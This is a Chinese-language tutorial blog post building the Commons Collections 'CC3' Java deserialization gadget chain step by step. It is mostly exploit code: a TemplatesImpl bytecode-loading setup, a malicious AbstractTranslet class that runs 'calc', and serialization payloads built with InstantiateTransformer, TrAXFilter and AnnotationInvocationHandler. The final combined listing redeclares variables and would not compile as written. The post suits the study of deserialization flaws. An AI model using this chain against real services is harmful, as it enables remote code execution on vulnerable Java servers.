cc3

毛利_小五郎發表於2024-07-23

CC3

CC3 鏈同之前我們講的 CC1 鏈與 CC6 鏈的區別之處是非常大的。原本的 CC1 鏈與 CC6 鏈是透過 Runtime.exec() 進行命令執行的。而很多時候伺服器的程式碼當中的黑名單會選擇禁用 Runtime。

而 CC3 鏈這裡呢,則是透過動態載入類載入機制來實現自動執行惡意類程式碼的。

原理

ClassLoader.loadClass()-->ClassLoader.findClass()-->ClassLoader.defineClass()首先是 loadClass(),它的作用是從已載入的類快取、父載入器等位置尋找類(這裡實際上是雙親委派機制),在前面沒有找到的情況下,執行 findClass(),根據名稱或位置載入 .class 位元組碼,然後使用 defineClass()。defineClass() 的作用是處理前面傳入的位元組碼,將其處理成真正的 Java 類

第一步

在TemplatesImpl裡面找到defineclass

目標是找到他的型別為public,然後find usage,發現在他自己的函式defineTransletClasses()下面,然後我們繼續find usage,,然後我們找到getTransletInstance(),然後接著find usage,最後找到了public synchronized Transformer newTransformer()是public,完成。

部分原始碼

defineClass

Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }

defineTransletClasses

private void defineTransletClasses(){ for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }}

getTransletInstance

private Translet getTransletInstance(){ if (_class == null) defineTransletClasses();}

newTransformer

public synchronized Transformer newTransformer(){ transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);}

第二步

賦值

我們得完成一些引數的賦值讓他不會報錯且能進入下一個函式

1._name

getTransletInstance()中的if (_name == null) return null;若不賦值就會return null

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");

2._bytecodes

defineTransletClasses()中的if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); }
若不賦值就會報錯

bytecodes是一個byte[][]型別的,然後我們去看呼叫它的地方

         for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

他的作用就是不斷的迴圈呼叫,然後我們只傳一個,那麼我們可以

    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);

C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class這個地址使我們程式碼執行的地方

3._tfactory

defineTransletClasses()中的 public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); }
若不賦值就會報錯

我們看到他是一個transient,我們去看readobject給他賦值的地方

 private void  readObject(ObjectInputStream is){_tfactory = new TransformerFactoryImpl();}

那我們就是new TransformerFactoryImpl()就可以試試看會怎麼樣

    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

最後總程式碼

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");

    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);


    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    templates.newTransformer();

報錯

Exception in thread "main" java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:422)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.kuang.CC3.main(CC3.java:40)

空指標錯誤

第三步

去defineTransletClasses第一步除錯一下,除錯發現

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }

_auxClasses這個引數為空,有兩種方法可以解決進入 if (superClass.getName().equals(ABSTRACT_TRANSLET)),或者給_auxClasses賦值,但是我們發現後面_transletIndex < 0就會報錯,所以我們就進行第一步,因為進入if就會給_transletIndex賦值。

OK,我們看怎麼滿足這個條件,_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();superClass.getName().equals(ABSTRACT_TRANSLET)就是讓_bytecodes載入的程式碼的父類是ABSTRACT_TRANSLET

public class Test  extends  AbstractTranslet{
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");

 }

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

解釋上面功能

因為我們要繼承他,然後發現他是個抽象類,抽象方法都要實現

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

然後編譯一下,放到執行程式碼的地方

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");

    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);


    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    templates.newTransformer();

第四步

templates.newTransformer();和cc1結合ChainedTransformer

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(1);

解釋裡面的程式碼

ConstantTransformer

 public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

就是傳進去constantToReturn,然後把他傳個iConstant,然後他呼叫transform時不論傳進去什麼他就是返回iConstant

ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

先是構造器穿進去一個陣列 transformers,然後賦值給iTransformers,如果呼叫transform的話就拿上一個的transform裡面的值單做下一個的object

綜合上面的描述

就是第一個ConstantTransformer(templates)被調入ChainedTransformertransform,到object = iTransformers[i].transform(object);這一行等於object = new ConstantTransformer(templates).transform(object);最後會使得object = templates ,然後不斷下去不過你得呼叫chainedTransformer.transform(1),才能開始。

第五步

與cc1結合,替換chainedTransformer.transform(1)

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

進階番外片

因為invoketransform會被ban掉所以我們又有了衍生

我們去找誰呼叫了newInstance(),找到了在TrAXFilter

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

但是他是不能序列化的,所以我們去找一個建構函式給他賦值,找到InstantiateTransformer

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}
public Object transform(Object input){
Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

}

構造下面的替換掉invoketransform,用下面的程式碼

    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);

完整程式碼

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);

我們把最後一個transform用cc1的替換掉

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

但是上面這個會報錯是因為Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);這一步,因為別忘記cc1最後一步readobject的那個setvalue傳參是不可控的,所以需要引入Transformer ChainedTransformer加以輔助。

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

完成!!

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

完整程式碼

public class CC3 {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    templates.newTransformer();//第一步


    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(1);//第二步





    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第三步



    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);//第四步

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第五步



    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第六步






}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}

}